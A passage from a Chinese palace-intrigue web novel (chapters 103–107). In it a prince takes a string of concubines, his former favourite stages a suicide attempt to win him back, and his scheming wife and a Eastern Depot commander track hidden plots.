一边问着,萧子景一边用力想把萧延从身上扒下来,可萧延却也跟着用力,浑身上下不住地打着哆嗦。 这样子,分明是怕到了极致。 “你说!” 折腾了半天也没能让萧延冷静下来,萧子景又调转目光看向冬生。 被砸了一茶碗,冬生倒是恢复了几分清明,哭丧着一张脸又重新跪了下来。 “王爷!宫里,宫里真的有鬼……” 冬生惊魂未定地讲起了今晚的遭遇。 他本是跟着萧延,在净房外等候,却不想这一等便无休无止。 等冬生进去一瞧,净房空空荡荡,根本没有萧延的影子! 净房偏僻,天色又黑,冬生以为自己是不小心看走了眼,连忙沿着来路四处寻找,却一无所获。 正当他惊恐万状之时,忽然听见一阵尖叫传来! 冬生跟着过去一看,果然是萧延! 他鼻青脸肿,连滚带爬地往前跑,冬生连忙上前搀扶,下一刻,却凭空狠狠摔倒在地! 萧延也跟着倒下,二人想站起身便会被一股神秘力量拽倒,活生生摔得浑身无力,再也爬不起来。 正当冬生以为他们要被这恶鬼给折磨而死的时候,灯笼亮起,谢无咎带人出现,将二人接到了那间偏殿之中。 “王爷!”冬生鼻涕眼泪一大把一大把地往下流,“小的不敢说谎,此事千真万确啊!” 他摔倒的时候,就感觉被人拽住了脚腕! “胡说八道!”萧子景对着他怒目而视,“怪力乱神!” 冬生下意识地张了张口,片刻后又沉默下去。 他什么都干不好,自从有了夏至,王爷已经越发冷落他了。 “延儿!” 萧子景这时候强行把已经冷静了几分的萧子景抓了起来,按着他的肩膀在地上站稳。 “你说,到底怎么回事!” 双目圆睁着,萧子景其实也说不出的底虚。 这皇宫看似金碧辉煌,实则里面沾染了多少血迹,谁也算不清。 “我,我……”萧延抽噎着,“我也不知道……” “你就告诉父王,这一脸的伤是被谁弄的!” 萧子景皱着眉头看向萧延的脸,刚才那点恍惚忽然就消失了个干干净净。 什么鬼啊魂的,这伤势,分明是被人打的! 巴掌印还在脸上呢! 鬼要害人,还犯得上用这招? 萧子景的表情变得更加难看。 萧延打了个哆嗦,眼神忽然变得犹疑,“是,是鬼……” “什么鬼!”萧子景手上用力,“那人肯定藏在暗处,你好好想想,有没有发现什么异常——” 他霍然站起身,“不!你把今天晚上看到,听到的所有都原原本本地告诉我!” 萧子景弯着腰,死死捏着萧延的肩膀。 去他的皇宫有鬼! 他现在有十分的怀疑,他儿子,就是被谢无咎害的! 东厂高手如云,隐在暗处欺负一个小孩,再简单不过了! 一帮畜生! “你好好想!只要想出来,父王马上去帮你报仇!”他的声音变得更加激动起来。 萧延的脸涨得通红,片刻后哇地一嗓子开始大哭。 “我不知道,我,我不知道!” 他悲鸣几声,浑身都跟着颤抖,片刻后狠狠一跺脚,转头没命地朝外跑去! “父王讨厌!父王讨厌!” “延儿!你给我回来!” 萧子景望着萧延的背影喊了几声,却并未得到回应。 冬生还没反应过来,傻站在原地,夏至倒是先一步喊着人追了出去。 “你还不快去?”萧子景一脚踹向冬生,“废物东西!” 冬生一个趔趄,软手软脚地也跟着跑了出去。 留下萧子景在屋中,按着眉头,长长地叹了一口气。 这一晚上,怎么就没有一件称心如意的事情! 烦死他了! 喉咙发痒,又想喝酒,萧子景一甩袖袍,大步朝卧房而去。 前几日的酒还剩了半坛,正好拿来助眠—— 房门一推开,暗香扑面而来。 萧子景还没来得及反应,眼睛被薄纱蒙住,手腕上也多了一抹绵软的触感。 “王爷终于回来了……” “让我们好等……” 娇秾软语一左一右地在耳边响起,还伴随着身边的温热气息,萧子景这才反应过来。 今晚他还没有喝醉之前,金吾卫的冯将军与他搭上了话,言辞间全是对萧子景生活的同情。 “那些个流言简直不堪入耳,王爷您分明是朝廷的栋梁之才,怎么能被编排成那个样子!这家里有个母老虎,实在是苦啊!” 冯将军大摇其头,又倒起自己的苦水,原来家中夫人也是个说一不二的。 “可那又怎么样?她发她的牢骚,我纳我的美人儿,有本事,她就滚回娘家!再也别回来!她敢吗?” 冯将军不仅态度嚣张,还身体力行地送给他两个美人。 “就得让她们知道,家里到底是谁说了算!” 萧子景有难言之隐,不好拒绝,索性将这两人带回王府,没成想她们竟然就等在自己卧房,还如此热情! 温香软玉在怀,萧子景也感到一丝久违的冲动,顿时跃跃欲试起来。 万一呢? “王爷……” 一炷香之后,正要准备入眠的叶晚竹忽然听见几声凄厉至极的尖叫传来,将寂静的王府夜空撕成碎片。 “怎么回事?”她猛地坐起身来。 第一百零三章 景平王爷的新欢 隐川前去查看情况,很快便折返回来。 “阮姨娘不知怎的到了默言阁,和那两个美人撞到了一起,王爷也在,阮姨娘受不了这个刺激,要让那两个美人好看。” 低着头一板一眼地说话,隐川的语气里却好像带着一丝看好戏的意味。 叶晚竹已经穿戴整齐,闻言眼中也闪过兴味。 萧子景和阮莹莹可是有一心一意的山盟海誓,不然前世也不会因此要她的王妃之位。 前后两世,这还是萧子景第一次和其他美人混在一起。 阮莹莹会怎么做? “书画,走,”叶晚竹站起身来,“咱们去看看。” 阮莹莹这会儿正站在萧子景屋中,悲愤欲绝地哆嗦着。 她被关在春风居这么久,萧子景就像已经忘记有这么一个人的存在一般,不再踏足阮莹莹屋中分毫。 若不是今晚萧延哭着闯进春风居,阮莹莹还以为她再也别想离开那个地方了。 费了好大的功夫才哄得萧延在她屋中睡下,阮莹莹梳洗打扮一番这才往默言阁来。 看在萧延这个亲生儿子的份儿上,萧子景总不能再视她为无物! 谁知,刚一进默言阁,女子的娇笑声和萧子景的戏弄声便打了阮莹莹一个措手不及! 难怪萧子景想不起自己,原来是有了新欢! 哪里来的小贱人,敢跟她抢! 阮莹莹也不知道自己是哪里来的力气,分明被饿得眼冒金星,却能一脚踹开房门,再在三人震惊的目光中,一把扯住其中一个美人的头发,将她狠狠掼在地上! 竟然还是两个贱人! 阮莹莹反身又将另外一人也撕扯了出来。 “勾引王爷的小娼妇!”她啪啪地扇着两人的脸。 美人们衣冠不整,震惊过后便娇滴滴朝萧子景喊起了救命。 “王爷,这老妇是什么人!快救奴家!” “贱人,我杀了你!” 阮莹莹双眼血红地扑了上去,死死掐住说话美人的脖子。 她是老妇? 谁给这贱人的胆子,这样编排她! “住手!快给本王住手!” 萧子景顾不上外袍,赤裸着上半身冲到院中,对着阮莹莹大喊的时候,叶晚竹也恰好走了进来。 美人挣扎,阮莹莹癫狂,萧子景忙乱。 叶晚竹一眼扫过这鸡飞狗跳,忍不住笑了一声。 “王爷院中好生热闹,我看还是再请圣上下旨换个名字,叫菜场阁更好。” “你住口!” 萧子景的脸比夜空还黑。 “你放手!”他又冲着阮莹莹大吼一声,却依旧成效甚微,只好自己上前,一把将阮莹莹甩开! “够了!你要干什么,疯了不成!” 阮莹莹本就不会武,又饿了这么长时间,被萧子景一把甩到五六步开外的地方,摔倒在地,爬都爬不起来。 她只能伏在地上,看着萧子景将那个美人怜惜万分地抱在怀里。 “王爷!您从前说过的话,难道都不作数了吗!”阮莹莹悲愤地大喊一声。 什么一心一意,什么长相厮守! 莫非都是骗她的不成! 萧子景的胸膛剧烈地起伏着。 “本王说过的话?”他冷冷转头看来,“看来你记得很清楚,就是不知道你自己说过的话,又记得多少?” 分明说过要跟他同甘苦,共患难的,可阮莹莹做了什么? 在他没发现的时候,阮莹莹又私吞了王府的多少钱财? “你这个别有心机的贱人!”他瞪着阮莹莹的眼神越发凌厉。 费尽心思接近他,想来为的只是金钱地位! 阮莹莹闻言呆住,像从来不认识萧子景一样。 “王爷——” “闭嘴!” 萧子景无比暴躁地打断了阮莹莹的呼唤。 “滚,”他阴沉沉地垂下目光,“趁本王还没杀了你,趁早滚回你的春风居去!” 谁准阮莹莹出来的? 他不想再看见她! 阮莹莹更加悲痛欲绝。 萧子景竟然说要杀了她? 阮莹莹沉重地呼吸着,片刻后猝不及防地跳起身,没命地又冲向还坐在地上的另一个美人! 她死也要带走一个! “王爷救我——” 这个美人还没来得及喊完,只见眼前金光一闪,紧接着,阮莹莹便哀嚎一声,重新趴伏在地! 叶晚竹看了半晌的好戏,这会儿终于出手,一杖子抽得阮莹莹失了所有力气。 “妹妹这是要做什么?” 收回金杖,叶晚竹笑眯眯地站在阮莹莹面前。 “王爷房里要收人,这不是天经地义的事情吗?妹妹一个后宅妇人,怎能如此善妒?若是让旁人看去,恐怕要说妹妹是个不能容人的。” 一字一句慢慢说着,叶晚竹看着失神抬头的阮莹莹,嘴角勾起嘲讽的笑容。 这可是阮莹莹回京后与她的说辞,叶晚竹只是改了个称呼,其他的全部原样奉上。 阮莹莹显然也记得这番话,脸色青了又红。 她恨恨地吐出一口血来。 “多谢王妃相救……”叶晚竹身后,那美人怯生生地站起身来。 “还不快进屋?” 萧子景不悦的催促声已经到了屋中,美人闻言又连忙转头跑去。 等到房门一关,院中顿时只剩下叶晚竹和阮莹莹两人。 “妹妹看见了吧?” 在阮莹莹面前蹲下,叶晚竹仍是笑吟吟地,眼神朝屋中一扫。 “怎么样,这就是你机关算尽,抢到手里的男人。” 只是一点小风浪,就如此无情地抛弃了她。 阮莹莹死死咬着嘴唇,见了血也没松开。 “你是来看我笑话的吗?”她声音发闷,“看到我遭报应,你很开心是不是?” “是啊,开心得今天晚上可能都睡不着觉。” 叶晚竹一摊手,坦然得让阮莹莹再也说不出什么。 “萧子景这么对你,你要不要报复他?”她又挑了挑眉,带着跃跃欲试的意味,“我可以给你提供一点帮助。” 闻言,阮莹莹先是一僵,随后看着叶晚竹,慢慢冷笑起来。 “想让我演戏给你看?叶晚竹,你想得美!” 一把拍开叶晚竹放在她面前的手,阮莹莹撑着膝盖,自己艰难万分地站了起来。 她最后瞪了叶晚竹一眼,摇摇晃晃地向外走去。 等着瞧吧,她一定会让今天晚上的人都付出代价! 几乎是与此同时,萧延睁开双眼,看着站在他面前的,熟悉的黑影。 “你——” 第一百零四章 美夜良宵,莫要浪费 “嘘——”黑影及时伸手,按住了萧延的嘴唇,用眼神示意他小声说话。 屋外一片安静,萧延怯生生地,又抽着鼻子。 “我,我没成功……” “我已经知道了。”那黑影的声音很轻,“没关系,还有机会。” 萧延忽然感到委屈又漫天铺地地涌了上来。 眼前这个黑影叫蒋三,是他上次跟着那个姓李的先生到学堂去的时候认识的。 蒋三是个江湖义士,李先生说他最看不惯不平之事,最爱出手助人。 萧延闻言意动,果然,等他把自己的身份和遭遇一说,蒋三顿时怒得拍起了桌子,大骂叶晚竹是个脏心烂肺的。 “连亲生亲养的儿子都不管,还放任外人动手,简直是枉为人母!你放心,我这就想个办法,给你报仇出气!” 他情绪激动,李先生却是个冷静的,赶紧将人拦下,又开解了半天,才让蒋三放弃自己动手的念头。 “再怎么说,王妃一来是萧延的亲生母亲,二来也算半个皇室中人,蒋兄你贸然出手,于理不合啊。” 李先生捻着自己长长的胡须。 “依我看,若是能让王妃迷途知返,那才是最好不过的。” 怎么迷途知返? 三人又凑在一起嘀咕了半晌,总算想到了主意。 他们的话,景平王妃肯定是不会听的,要是圣上下旨,她就不得不听了! 李先生亲自动笔,给萧延写了慢满满一张信纸,说是只要他把这些全都告诉皇上,皇上一定会为萧延做主,让景平王妃变回曾经的样子! 萧延连字都认不全,却从未如此努力,把纸上的内容背了个滚瓜烂熟,临门一脚却出了问题。 “我不知道是怎么回事,忽然就到了一个黑漆漆的地方,还,还有鬼打我!” 看着面前只露出一双眼睛的蒋三,萧延哭得越发收不住声。 他没跟皇上说那些话,他的娘亲,是不是回不来了! “怎么办,怎么办啊!”他无措地揪住蒋三的衣袖。 蒋三轻叹一声,将他的胳膊扒开。 “事已至此,只能再找机会,你别太着急,等我回去和李兄商量一下,看看还能怎么办。” 他语气坚决,并没有要放弃帮忙的打算,萧延听着也安心起来。 “好了,等过两日,你再到学堂来吧。” 又安抚了萧延两句,看着他重新闭上双眼睡下,蒋三这才像来时一样,无声无息地又离开了景平王府。 —— “哦?还有这回事?” 一炷香后,都督府中,谢无咎看着站在面前的隐翼,语气不辨喜怒。 隐翼身上的伤已经大好,只是脸色还有些苍白,早已经回到盯梢景平王府的位置上去。 “正是,”他一低头,“那人武功不错,身手上乘,离开王府后,往京中一处民宅而去了。” 这说的正是高来高去的蒋三。 “本督晓得了。” 点点头,谢无咎双眼微微阖上,难得显出一丝疲态。 “这才刚一回京城,还是这么迫不及待地热闹起来了。” 隐月和隐翼飞快地对视了一眼。 “主子,您说的是……安王世子?”隐月小心翼翼地开口。 “圣上让他镇守边关,他却趁着南疆军队在边境试探,带兵一路打到人家的都城。” 谢无咎依旧闭着眼睛,语气凉冰冰的。 “得亏南疆兵马无力,一路上天公也跟着作美,才能让他把大军平安带到城下,否则,这一仗若是输了,那可不仅是死人的事情。” 南疆气候多变,蚊虫蛇蚁更是数不胜数,三年五载便要爆发疫病。 孟希越的队伍哪怕沾上其中一个,恐怕就要全军覆没,一个也别想回来。 “他这是胡来。” 终于睁开眼,谢无咎眼底闪着幽幽的冷光,笑容看似戏谑,却也带着让人不敢直视的威压。 昭德帝从未下令主动攻打南疆,这安王世子的胆子,实在是太大了。 好端端地,为何如此冒进? 是看自己的父亲安王在朝中无声无息,所以想自己出面,给安王增光添彩? 可一个闲散王爷,一辈子的荣华富贵已经有了,还要这些光彩做什么? 谢无咎褪下手腕上的佛珠,缓缓捻在手中转动。 这些年来,朝中的贪官污吏,别有用心之人被东厂清洗了一茬又一茬,可国库依旧日渐空虚,该有的风波也一个不少。 谢无咎渐渐开始发现,这背后一只有双看不见的手,在暗中操纵着一切。 他抽丝剥茧,却能屡屡被那人逃脱,始终不得其法。 难道…… “等天亮之后,去查查那人的去处,莫要打草惊蛇。” 片刻后,谢无咎缓缓开口。 “景平王屋里那两个美人又是怎么回事?”他再看向隐翼的时候,威压消失,似笑非笑的表情又出现在脸上。 隐翼低声将二人的来历奉上。 “金吾卫冯将军——” 低声念叨着这位,谢无咎撑着下巴,状若思考。 “朝中姓冯的可不算多,他是冯启东的侄子吧?怎么还在?” 那位被泡在东厂水牢里的冯大人买卖官职,贪污受贿,全家已经跟着一起遭了殃。 “冯将军说自己与冯大人早就断了关系,加上没有证据,只能不了了之。”隐月撇了撇嘴。 谢无咎不置可否,又眯了眯眼。 “好吧,那就把这位冯将军也看好,希望他说的都是实话。” 冯启东的案子才过去没多长时间,这个冯将军便活跃了起来? 谢无咎倒真希望这是个意外。 隐月两人连忙各自应下自己的差事。 “主子,”隐翼又抬起头,“那给景平王爷的药……” 景平王分明已经不行了,却又找了两个美人,那助兴的药是下还是不下? “当然要下。” 主子的声音从上方传来,似乎有些不快,隐翼将脑袋埋得更低。 “正好,本督近日新得了一种好药,保管能让景平王满意。” 伴随着谢无咎忽然又变得笑意盈盈的语气,一个精致的盒子也被抛到隐翼手中。 “快去吧,美夜良宵,可千万别让景平王白白浪费了。” 第一百零五章 王府姨娘如云 “王妃,王爷他又带回一房姨娘!” 夏日来的很快,一场大雨过后,白日里的温度骤然变得炎热,直到傍晚才能消退。 叶晚竹带着小花在蕴秀阁和其他几家铺子里转了一整天,暑气退散才乘着马车回到王府,又听见默言阁那边喧嚣得很。 陈嬷嬷已经在潇湘院听了大半天的热闹,一见叶晚竹回来便快步上前。 “这次又是什么人?”叶晚竹闻言也不意外。 这半个月来,萧子景好像是那习武之人忽然打通了任督二脉,一房接一房地往回纳妾,今日这已经是第七位了。 不仅如此,有阮莹莹那场纳妾礼打样,如今的每一房妾室都有一场不大不小的宴席,萧子景还邀请了与他交好的同僚家属前来观礼赴宴。 一连七场宴席下来,众人似乎已经习惯了景平王府这诡异的仪式感。 而原本还算安静的王府后院,如今也变得热闹非凡,每间小院几乎都有了主子。 陈嬷嬷的下半张脸忽然扭曲了一下。 “是……是桃杏楼的花魁……” “啊?” 书画刚把不适合听这些的小花送回自己的房间,听见陈嬷嬷的话,脚下一个踉跄。 “嬷嬷是说那位舞艺超绝,只卖艺,不卖身的花魁,瑶芳姑娘?”她瞪大双眼,脸上写满震惊。 陈嬷嬷点了点头,眼神游移着朝默言阁的方向看去。 叶晚竹也侧耳听着那边响起的鞭炮声。 给瑶芳姑娘赎身是要花大价钱的,萧子景在连续纳了六房姨娘,且都办得热热闹闹的条件下,还能掏出这样一笔银子。 他是去抢了金库不成? 抛开银子不谈,萧子景这段时间的异样也还是数不胜数,不知道是犯了什么病。 隐风隐川暗中轮流查了个遍,可无论是萧子景,还是那忽然出现的夏至,似乎都没有任何问题。 除了挥金如土,却不知道是哪里弄来的银子外,萧子景一切正常。 不过,萧子景忙着陪伴他的莺莺燕燕,倒是没再来找叶晚竹的麻烦,这段时间,她的耳根子也清净了不少。 鞭炮声渐渐收拢,又换上了丝竹管乐,看来是宴席开始了。 叶晚竹就着那边的热闹刚用过晚饭,院门前的小丫鬟走到了廊下来。 “王妃,苏姨娘和杨姨娘来了。” 这两位是萧子景前些天同时抬进门的,叶晚竹忙着自己的事,还没和她们二人打过照面。 “有什么事?” 片刻之后,看着苏杨二位姨娘走到屋中,叶晚竹端着茶碗,语气十分平静。 “妾身见过王妃。” 二人齐齐给叶晚竹行了礼,站起身来,瞧着活泼些的苏姨娘先开口。 “方才听闻王妃回府了,正好王爷那边热闹得很,王妃怎么不去瞧瞧?” “放肆!” 这话听得书画瞪起一双眼睛,凶巴巴地看了过去。 “王妃要做什么,还能轮到你们做主不成?” 书画老早就开始在心里替自家王妃抱不平了。 连着收了这么多妾室,就算王爷和王妃的关系恶劣,他也实在是太不给王妃脸面了! 这样的热闹有什么好看的! “书画姑娘别急。” 另一边的杨姨娘弱柳扶风,看上去十分惹人怜惜,说话也是轻轻慢慢的。 “是我二人方才在宴席上,听到有人问起王妃为何不在场,那话……有些不好听。” 纳妾算不上什么大事,但新入府的姨娘总该来给主母敬茶,叶晚竹从未出现在这样的场合之上,被人议论也算不得什么。 “什么话,你说出来,让我听听?”叶晚竹翘着腿问道。 杨姨娘一噎,表情有些讪讪的,“还,还是算了吧王妃……” “让本王妃赴宴的也是你们,不如实交代的也是你们,怎么什么话都要由得你们说?这王府现在是姓苏还是姓杨?” 还没等杨姨娘把话说完,叶晚竹咣当一声撂了茶碗! 二人神色慌张,忙不迭地先后跪了下去,“王妃息怒!王妃息怒啊!” “说,”叶晚竹沉声道,“你们若是说不清楚,就给本王妃到宴席上认人,你们一字一句,对照着说!” 她懒得和这些姨娘们搅合,没想到,还真有不知死活的! 苏姨娘和杨姨娘闻言哆嗦得更加厉害起来。 “我数三下,”叶晚竹竖起指头,“三——” “王妃,我说!” 苏姨娘哽咽一声,连滚带爬地扑到叶晚竹脚边,一把扯住她的裙摆。 “是,是阮姨娘……”她战战兢兢地吐出一个名字。 阮莹莹? 叶晚竹神情稍顿。 在萧子景那里闹了一大场,阮莹莹本要继续被关在春风居,可萧延一觉睡醒后,似乎是因为接连在叶晚竹和萧子景身上受挫,俨然将阮莹莹当成了最后一根救命稻草。 他在默言阁又哭又嚎,要搬到春风居和阮莹莹一起住。 萧子景最后只能无奈答应,阮莹莹的禁足也就这么不清不楚地结束了。 有萧延在,总不能让他饿着肚子,一时间,除了萧子景再不踏入阮莹莹屋中,春风居的日子似乎又恢复了从前的模样。 叶晚竹用扇柄挑起苏姨娘惶恐的脸。 “阮姨娘是怎么跟你们说的?”她问道。 苏姨娘定定地打了个哆嗦,眼底却闪过一丝不甘。 她和杨姨娘前天才被接到王府,王妃迟迟不曾出现,她们见到的第一个主子便是阮姨娘。 同为妾室,这位阮姨娘的态度却高贵得很,直言自己入府时,那场宴席是由景平王妃一手操持,可见对她的重视。 “妹妹们也别委屈,王妃出现或不出现,其实都是一样的,你们进了王府,日后,咱们就是一家姐妹。” 阮莹莹状若好意的开解让苏姨娘和杨姨娘都暗自不忿。 既然都一样,那说出来做什么? 还摆着这么大的谱! “我二人气不过,便想着,趁今日瑶芳姑娘入府,将王妃再请到宴席上,好生杀杀那阮姨娘的锐气!” 杨姨娘也跪行着来到叶晚竹面前,抽抽搭搭地哭着。 叶晚竹挨个打量着两人的模样,悠悠收回折扇,站起身来。 第一百零六章 原来是苦肉计 连这样低级的挑拨离间都用了出来,阮莹莹这是已经无计可施了? 也是,她在王府倚靠的一直都是萧子景的宠爱,如今萧子景移情别恋,阮莹莹再有手段,怕是也不顶用。 “王妃……”杨姨娘还在擦着眼泪,“方才那话都是妾身胡编乱造的,您要打要罚,妾身都受着,绝无二话!” 景平王妃在京中的名声着实响亮,若是她真的到宴席上去找人对峙…… 杨姨娘哆嗦得更加厉害。 苏姨娘的哭声也越发响亮。 天杀的!早知道景平王妃真的和传言中——不,比传言中还要厉害,她们就不应该来多嘴多舌! “罚你们禁足十日,抄书静心,有没有意见?”叶晚竹垂下头去。 两个姨娘都把脑袋摇成了拨浪鼓。 “那就好,”她冷笑着,“不过不是现在,回宴席上去吧,一会儿该怎么做,自己机灵点。” 被叶晚竹意有所指的目光扫过,苏杨二位姨娘同时一怔,而后面色各异。 叶晚竹也不多说,让隐风盯着两人回默言阁,自己拿了金杖往春风居而去。 对阮莹莹翻脸的人分明是萧子景,她不去报复,却还是要跟她过不去? 叶晚竹又轻声笑了起来。 没关系,她来帮阮莹莹一把好了。 —— 默言阁里,宴席基本上已经结束,来走个过场的早已离开,只剩下几个与萧子景交好的武将。 酒过三巡,萧子景喝得脸颊泛红,醉眼迷离地搭着冯将军的肩膀,二人不住地称兄道弟。 “萧兄真是气魄过人,我冯洋佩服!佩服!” 萧子景笑着又灌了一口酒,将酒坛子拍在桌上的动作十分豪迈。 “还得多亏冯兄提点,才没让我继续钻牛角尖啊!” 他已经完全恢复正常了,甚至比从前还要勇猛! 那晚轰走了阮莹莹,萧子景原本没了心情,谁知被两个美人哄着劝着,竟然迷迷糊糊地发现自己好了! 和美人奋战一场,一切无恙,萧子景顿时感觉遮蔽在自己头顶多日的阴霾,刹那间一扫而空! 他没事了! 狂喜之后,萧子景一口气纳了六房妾室,截止到今晚之前,再也没有从前那样尴尬的情况出现。 不仅如此,他断袖的传闻也不攻自破。 想到今晚,萧子景的笑容里又多了一丝狎昵。 先前是他想岔了,京中这么多美人,他怎么就死死守着阮莹莹不放? 幸亏他醒悟得够及时,否则,再宠下去,王府怕是都要被这个贱人给掏空了—— “放开我,放开我!” 正想着,阮莹莹惊慌失措的声音忽然涌入耳畔,萧子景一怔之下,还以为自己出现了幻觉。 可很快他就看到,阮莹莹被叶晚竹揪着头发,连滚带爬地走过院门,朝前厅而来。 “放开阮姨娘!父王,娘亲!” 萧延乱七八糟的喊声也跟着赶到,他跌跌撞撞追在两人身后,一脸惊慌失措。 “王爷,喝好了吗?” 对上萧子景朦胧的双眼,叶晚竹笑着在廊下站住了脚。 她抬手一掼,将狼狈万分的阮莹莹丢到了屋中。 萧子景下意识地低下头,看见阮莹莹身上细长的伤痕,显然是出自叶晚竹那根金杖。 他抿了抿唇,身子忽然变得僵硬。 “王爷若是喝好了,那就处理一下正事吧。” 叶晚竹没关注萧子景的表情,抬着下巴朝阮莹莹点了两下。 “妹妹是要自己说,还是本王妃找人替你说,你又干了什么好事?” 阮莹莹捂着脸倒在地上,呼吸急促而无力。 苏姨娘和杨姨娘这两个软骨头,竟然这么快就把她卖了出去! 可时至今日,阮莹莹的确已经不知道该如何是好了。 萧子景不见她,甚至连萧延都不能让他再到春风居来,阮莹莹便是想开口都没有机会。 眼见一个又一个美人来到王府,她也越发焦虑。 好在这一出虽然吃了大苦头,却终于让她来到了萧子景面前。 听着萧子景沉重而不快的呼吸,阮莹莹挣扎着抬起头,露出自己憔悴不堪的脸。 眼见局势不对,冯将军几人匆匆起身告辞,很快屋中就变得静悄悄的。 “……到底怎么回事?” 气氛一冷,萧子景的语气也变得更为冷漠。 他掐着太阳穴,目光从叶晚竹身上一扫而过,又很快落在阮莹莹身上。 苏姨娘和杨姨娘不知道从什么地方钻出来,小心翼翼地开了口,要将方才的话再说一遍。 谁知才刚开了个头,阮莹莹便忽然放声大笑起来。 她笑得凄婉,笑得哀伤。 “王爷,”她直勾勾看着萧子景,“妾身的确做错了事,如今已经不求换得王爷原谅,只想再看王爷一眼,了却此生遗憾便够了!” 说完这句,她忽然翻身而起,用尽浑身力气猛地扑向侧墙! “不要!” 萧子景下意识大吼一声,上前扯了一把阮莹莹的胳膊,却也没完全拦住她的去势,眼睁睁看着阮莹莹一头撞了上去! 鲜血从她伤口中涌出,顷刻间就将墙角染红。 “……你,你这是做什么!”萧子景一边伸手去堵她额头上触目惊心的伤口,一边大吼,“快去请大夫!” 阮莹莹这一下的确撞得重,倒在满地血泊中,浑身都在抽搐。 “王爷,”她失神地看着萧子景着急的模样,“若有来生,妾身还要和,和王爷在一起……” “隐风,去给阮姨娘止血。” “隐川,去请大夫来。” 叶晚竹抱着双臂打断了阮莹莹的话。 原来是苦肉计,怪不得她觉得先前那一段不是阮莹莹的水平。 不过她这也算歪打正着,就算萧子景不救,叶晚竹也要留下阮莹莹这条性命。 不然怎么给这两个人添堵? 隐风隐川应声而动,很快,阮莹莹头上的伤口被堵住,萧子景将她打横抱起,眉头紧皱地往旁边耳房而去。 迎上叶晚竹靠着门框站立的模样,他脚下一顿,又借着动作垂下目光,一声不吭地从她身边走了过去。 房门关上,叶晚竹这才转过身,回味着萧子景方才的动作。 她怎么觉得,萧子景是在害怕呢? 第一百零七章 王爷为何这样? 这就怕了? 可萧子景的眼神又分明带着熟悉的恨意,并不像是死心认栽了的模样。 略一思忖,叶晚竹转头跟着往耳房走。 血腥味在小小的房间中更显得浓郁,萧子景乍着满是鲜血的双手站在一旁,目不转睛地看着隐风继续替阮莹莹处理伤口。 他手上的动作有条不紊,阮莹莹的额头也渐渐不再出血。 “王爷这是什么眼神?” 叶晚竹绕到一旁,看着萧子景紧皱的眉头,忽然轻笑了一声。 “别担心,阮姨娘的命还丢不了。” 阮莹莹怎么舍得就这么死了呢。 萧子景没说话,放在身侧的手臂却紧了紧。 叶晚竹不着痕迹地垂眸一扫,语气仍是漫不经心的。 “妹妹以死相抵,王爷,您现在是什么心情?打算原谅妹妹了吗?” “叶晚竹!你有没有人性!” 萧子景终于开了口,语气愠怒,“莹莹都撞成这样了,你还在说风凉话!” “是我按着她的脑袋往墙上撞的吗?” 叶晚竹微微瞠目,随即笑得越发灿烂。 “再说,我这个说风凉话的王妃的侍卫,可是正在勤勤恳恳地给妹妹止血救命,满心关怀妹妹的王爷,这会儿在干什么呢?” 她掀起眼皮,上下打量了一番萧子景,做出一副恍然大悟的模样。 “原来是站着一动不动啊,王爷果然是个会心疼人的。” “你给本王闭嘴!” 萧子景咬着后槽牙怒吼出声,刚朝叶晚竹上前半步,却不知为何,硬生生地停下了脚步。 他呼哧呼哧地喘着粗气,看上去倒是很想跳起来把叶晚竹的脑袋往墙上撞。 隐风隐川各有任务,书画警惕地往叶晚竹身边挪了半步。 王爷敢来,她也敢动手! 叶晚竹一动不动地抬起头,目光和萧子景正面相撞。 又是这种欲言又止,躲躲闪闪的感觉。 萧子景到底吃错了什么药? “哼!” 半晌过后,萧子景重重一哼,再次从叶晚竹身边离开,大步走到阮莹莹所在的软塌旁,抱起双臂死死地盯着上面的动作。 他脸色通红,胸膛起伏,就连鼻孔都跟着不断翕张,看上去随时会被气得双眼一翻晕过去。 饶是如此,萧子景却不曾对叶晚竹做过半点不利的举动,眼下更是打定主意,再也不往叶晚竹这边看来一眼。 这下就连书画都忍不住挠了挠头。 难道王爷被气疯了? 他从前可不是这样的作风,就算王妃如此强势,这位也依旧在想方设法地给王妃找麻烦呢。 隐川这时候将大夫找了过来,叶晚竹见状暂时歇了试探的心思,带着书画转身离开。 她的感觉应该没错,萧子景不知为何,有了某种奇怪的变化。 看来,又要有的玩了! —— 叶晚竹离开之后,萧子景便肉眼可见地冷静了不少。 他默默注视着大夫给阮莹莹检查伤口,包扎开药,确定阮莹莹的性命暂时无虞,这才长长地松了一口气。 多亏他那一拽! 隐风隐川早已经随着叶晚竹离开,萧子景让夏至去将大夫送出王府,屋中刚安静下来,萧延便拖着脚步走到他身边。 “父王,”萧延说话的时候哭腔更重了,“姨娘怎么样?” 萧子景这才想起儿子,反身想摸摸他的脑袋,又发现自己一手干涸的血迹,只能作罢。 “姨娘没事了,”他放缓声音,“延儿别怕。” 萧延的哭声却变得更加响亮。 “都怪苏姨娘和杨姨娘,在王妃那里乱说话,父王你快把她们赶出王府去!” “胡闹。” 萧子景皱了皱眉,“延儿,我知道阮姨娘对你一向好,可她做错了别的事情,那也要付出代——” “姨娘没做错事!没做错事!” 还没等萧子景把话说完,萧延忽然急得跳了起来。 “是她们胡说八道!而且姨娘也没有拿王府的银子!” “这是谁跟你说的?” 萧子景先前还有些不耐,闻言目光却专注起来,“阮姨娘让你这么说的?” 他就知道,阮莹莹把萧延留在春风居,定是别有用心! “不,不是,是我自己听到的!”萧延更急了,“银子是姨娘从阮家要来的,还没来得及给父王!” 阮家? 萧子景神情微顿。 萧延用力点头,“对!阮家人那天来让姨娘还钱,没要到,还打了姨娘好多个耳光,说她是……赔,赔钱货!” 萧子景的眼神又变得更加阴沉。 阮家的门第在京中不高不低,家产也算丰厚,阮莹莹虽是庶女,但聪明乖巧,在家中时也算得宠。 她之所以会只身离开京城,跑到那西北大漠去,正是因为当年选秀失败,被家中当成了没用的弃子。 赔钱货这样的话,的确是阮家人会说的。 当年阮莹莹离京后便和阮家断了联系,她竟然会找阮家借钱? 是为了给王府应急? 萧子景抿了抿唇,忽然不知道该说什么,心里也涌上了一股复杂的情绪。 银子是这么来的,那那些首饰呢? 正欲发怒,想到自己已经冤枉了阮莹莹一回,萧子景嘴角一抽,表情又变得古怪起来。 是不是还有什么内情? “父王,”萧延看不懂这些,又来扯萧子景的袖子,“父王错怪姨娘了,姨娘才这么委屈,您别再怪罪姨娘了好不好?我想要姨娘给我讲故事,陪我玩,还给我吃点心!” 萧子景的心不由得跟着他的话紧紧地揪成一团。 他是不是真的错怪莹莹了? 这可是奔赴千里也要来找他的女子,他认定的妻,会为了他的误会,而把自己弄成现在这个样子。 